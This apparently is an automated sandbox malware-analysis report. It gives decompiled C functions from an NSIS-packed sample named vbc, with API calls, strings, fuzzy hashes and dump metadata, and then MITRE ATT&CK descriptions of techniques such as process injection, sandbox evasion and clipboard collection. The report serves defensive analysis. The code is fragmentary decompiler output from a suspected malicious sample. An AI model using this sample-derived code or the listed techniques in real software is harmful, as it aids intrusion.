GlobalFree.KERNEL32 ref: 7328124A
GlobalFree.KERNEL32(?), ref: 7328129B
GlobalFree.KERNEL32(00000000), ref: 732812B1

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: b30f8b16a9929c06682517c255e62fc699cd63c29608cb870f802680e8e0e983
Instruction ID: 2b7ff6cefeae060417f7d1f7aee24ae4471fa8e3051e53f7a67dcec46da4f5de
Opcode Fuzzy Hash: b30f8b16a9929c06682517c255e62fc699cd63c29608cb870f802680e8e0e983
Instruction Fuzzy Hash: 8E519BB6A00322DFE700DF69C848BE677F8EB08715B248119E94ADB2D4E775B990DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040263E(void* __ebx, void* __edx, intOrPtr* __edi) {
				signed int _t14;
				int _t17;
				void* _t24;
				intOrPtr* _t29;
				void* _t31;
				signed int _t32;
				void* _t35;
				void* _t40;
				signed int _t42;

				_t29 = __edi;
				_t24 = __ebx;
				_t14 =  *(_t35 - 0x28);
				_t40 = __edx - 0x38;
				 *(_t35 - 0x10) = _t14;
				_t27 = 0 | _t40 == 0x00000000;
				_t32 = _t40 == 0;
				if(_t14 == __ebx) {
					if(__edx != 0x38) {
						_t17 = lstrlenW(E00402DA6(0x11)) + _t16;
					} else {
						E00402DA6(0x21);
						E0040655F("C:\Users\Albus\AppData\Local\Temp\nspDD94.tmp", "C:\Users\Albus\AppData\Local\Temp\nspDD94.tmp\System.dll", 0x400);
						_t17 = lstrlenA("C:\Users\Albus\AppData\Local\Temp\nspDD94.tmp\System.dll");
					}
				} else {
					E00402D84(1);
					 *0x40adf0 = __ax;
					 *((intOrPtr*)(__ebp - 0x44)) = __edx;
				}
				 *(_t35 + 8) = _t17;
				if( *_t29 == _t24) {
					L13:
					 *((intOrPtr*)(_t35 - 4)) = 1;
				} else {
					_t31 = E0040649D(_t27, _t29);
					if((_t32 |  *(_t35 - 0x10)) != 0 ||  *((intOrPtr*)(_t35 - 0x24)) == _t24 || E0040610E(_t31, _t31) >= 0) {
						_t14 = E004060DF(_t31, "C:\Users\Albus\AppData\Local\Temp\nspDD94.tmp\System.dll",  *(_t35 + 8));
						_t42 = _t14;
						if(_t42 == 0) {
							goto L13;
						}
					} else {
						goto L13;
					}
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x0040263e
0x0040263e
0x0040263e
0x00402643
0x00402646
0x00402649
0x0040264e
0x00402650
0x00402670
0x004026aa
0x00402672
0x00402674
0x00402688
0x00402695
0x00402695
0x00402652
0x00402654
0x00402659
0x00402667
0x0040266a
0x004026af
0x004026b2
0x0040292e
0x0040292e
0x004026b8
0x004026c1
0x004026c3
0x004026e2
0x004015b4
0x004015b6
0x00000000
0x004015bc
0x00000000
0x00000000
0x00000000
0x004026c3
0x00402c2d
0x00402c39

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll), ref: 00402695

Strings

C:\Users\user\AppData\Local\Temp\nspDD94.tmp, xrefs: 00402683
C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll, xrefs: 00402659, 0040267E, 00402690, 004026DC

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nspDD94.tmp$C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll
API String ID: 1659193697-3170715615
Opcode ID: 055331aa1ecea8bfcda913bd06822b13da84f48a5f1a47c8ed214fd280e803f9
Instruction ID: edf8e5a6553ae7ef136857fb61bcac29e22bbc78049b19fa22ca3c34260198f3
Opcode Fuzzy Hash: 055331aa1ecea8bfcda913bd06822b13da84f48a5f1a47c8ed214fd280e803f9
Instruction Fuzzy Hash: 2611EB71A00215BBCB10BFB18E4AAAE7665AF40744F25443FE002B71C2EAFC8891565E

Uniqueness

Uniqueness Score: -1.00%

Function 00403019 Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403019(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					if( *0x42aa20 == 0) {
						_t2 = GetTickCount();
						if(_t2 >  *0x434f0c) {
							_t3 = CreateDialogParamW( *0x434f00, 0x6f, 0, E00402F93, 0);
							 *0x42aa20 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00406946(0);
					}
				} else {
					_t6 =  *0x42aa20;
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x42aa20 = 0;
					return _t6;
				}
			}

0x00403020
0x00403040
0x0040304a
0x00403056
0x00403067
0x00403070
0x00000000
0x00403075
0x0040307c
0x00403042
0x00403049
0x00403049
0x00403022
0x00403022
0x00403029
0x0040302c
0x0040302c
0x00403032
0x00403039
0x00403039

APIs

DestroyWindow.USER32 ref: 0040302C
GetTickCount.KERNEL32(00000000,004031F7,00000001,?,?,?,?,?,0040387D,?), ref: 0040304A
CreateDialogParamW.USER32 ref: 00403067
ShowWindow.USER32(00000000,00000005), ref: 00403075

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a982ea5e0a4ecb993fc2e9b794e4afe077943b4b771bcbca33e5c7758572dd30
Instruction ID: 3364d2369d767f53e7c05e99e54cbc9c067443d5da9c9f227d7c3a258cba7bb7
Opcode Fuzzy Hash: a982ea5e0a4ecb993fc2e9b794e4afe077943b4b771bcbca33e5c7758572dd30
Instruction Fuzzy Hash: A9F08270702A20AFC2316F50FE4998B7F68FB44B56741447AF446B15ACCB380DA2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405F14(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040653D(0x42fa70, _a4);
				_t21 = E00405EB7(0x42fa70);
				if(_t21 != 0) {
					E004067C4(_t21);
					if(( *0x434f18 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x42fa70 >> 1;
						while(1) {
							_t11 = lstrlenW(0x42fa70);
							_push(0x42fa70);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E00406873();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405E58(0x42fa70);
								continue;
							} else {
								goto L1;
							}
						}
						E00405E0C();
						return 0 | GetFileAttributesW(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405f20
0x00405f2b
0x00405f2f
0x00405f36
0x00405f42
0x00405f52
0x00405f54
0x00405f6c
0x00405f6d
0x00405f74
0x00405f75
0x00000000
0x00000000
0x00405f58
0x00405f5f
0x00405f67
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f5f
0x00405f77
0x00000000
0x00405f8b
0x00405f44
0x00405f4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f4a
0x00405f31
0x00000000

APIs

Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A

Part of subcall function 00405EB7: CharNextW.USER32(?), ref: 00405EC5
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,74EDD4C4,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,74EDD4C4,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405F6D
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,74EDD4C4,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,74EDD4C4,C:\Users\user\AppData\Local\Temp\), ref: 00405F7D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F14

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-4017390910
Opcode ID: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
Instruction ID: e20fb510edeaf32ba19235dad054e15b0ffac27cf679254cac4fdbc394554759
Opcode Fuzzy Hash: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
Instruction Fuzzy Hash: E3F0F426119D6226DB22333A5C05EAF0554CE9276475A023BF895B12C5DB3C8A43D8AE

Uniqueness

Uniqueness Score: -1.00%

Function 00405513 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405513(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x42d254 != _t16) {
							_push(_t16);
							_push(6);
							 *0x42d254 = _t16;
							E00404ED4();
						}
						L11:
						return CallWindowProcW( *0x42d25c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404E54(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E004044E5(0x413);
				return 0;
			}

0x00405517
0x00405521
0x0040553d
0x0040555f
0x00405562
0x00405568
0x00405572
0x00405573
0x00405575
0x0040557b
0x0040557b
0x00405585
0x00000000
0x00405593
0x0040554a
0x00405582
0x00405582
0x00000000
0x00405582
0x00405556
0x00405558
0x00000000
0x00405558
0x00405527
0x00000000
0x00000000
0x0040552e
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405542
CallWindowProcW.USER32(?,?,?,?), ref: 00405593

Part of subcall function 004044E5: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F7

Strings

, xrefs: 00405523

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
Instruction ID: 904a7c61355239921aaa7855b64c86422fca6e8886f64d9e6fcbc6a993ea73ec
Opcode Fuzzy Hash: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
Instruction Fuzzy Hash: F3017CB1100608BFDF209F11DD80AAB3B27EB84754F50453AFA01762D5D77A8E92DA69

Uniqueness

Uniqueness Score: -1.00%

Function 0040640B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040640B(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E004063AA(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00406419
0x0040641b
0x00406433
0x00406438
0x0040643d
0x0040647b
0x0040647b
0x0040643f
0x00406451
0x0040645c
0x00406462
0x0040646d
0x00000000
0x00000000
0x0040646d
0x00406481

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800), ref: 00406451
RegCloseKey.ADVAPI32(?), ref: 0040645C

Strings

Call, xrefs: 00406412

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: a8d415a3dc4e4479eaaa65942f717852bb8bd3539c12dad3b2e52d491ce509ba
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: FB017C72510209AADF21CF51CC09EDB3BB8FB54364F01803AFD5AA6190D738D968DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00403B57 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B57() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x42b22c;
				_t3 = E00403B3C(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x42b22c =  *0x42b22c & 0x00000000;
				return _t3;
			}

0x00403b58
0x00403b60
0x00403b67
0x00403b6a
0x00403b6a
0x00403b6c
0x00403b71
0x00403b78
0x00403b7e
0x00403b82
0x00403b83
0x00403b8b

APIs

FreeLibrary.KERNEL32(?,74EDD4C4,00000000,C:\Users\user\AppData\Local\Temp\,00403B2F,00403A5E,?), ref: 00403B71
GlobalFree.KERNEL32(?), ref: 00403B78

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B57

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4017390910
Opcode ID: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction ID: 19c5699a9bb8b3376c06320bd1355d3f7d45777e2bc9a3354ca833756e7661a4
Opcode Fuzzy Hash: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction Fuzzy Hash: 40E0EC3290212097C7615F55FE08B6E7B78AF49B26F05056AE884BB2628B746D428BDC

Uniqueness

Uniqueness Score: -1.00%

Function 00405F92 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F92(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405fa2
0x00405fa4
0x00405fa7
0x00405fd3
0x00405fac
0x00405fb5
0x00405fba
0x00405fc5
0x00405fc8
0x00405fe4
0x00405fca
0x00405fd1
0x00000000
0x00405fd1
0x00405fdd
0x00405fe1
0x00405fe1
0x00405fdb
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA2
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBA
CharNextA.USER32(00000000), ref: 00405FCB
lstrlenA.KERNEL32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD4

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction ID: bd09551308ad338638525116890fdadd4ab1f465f5503068af61de479685a4e4
Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction Fuzzy Hash: 34F0C231604418FFC7029BA5CD0099EBBA8EF06250B2140AAF840FB210D678DE019BA9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
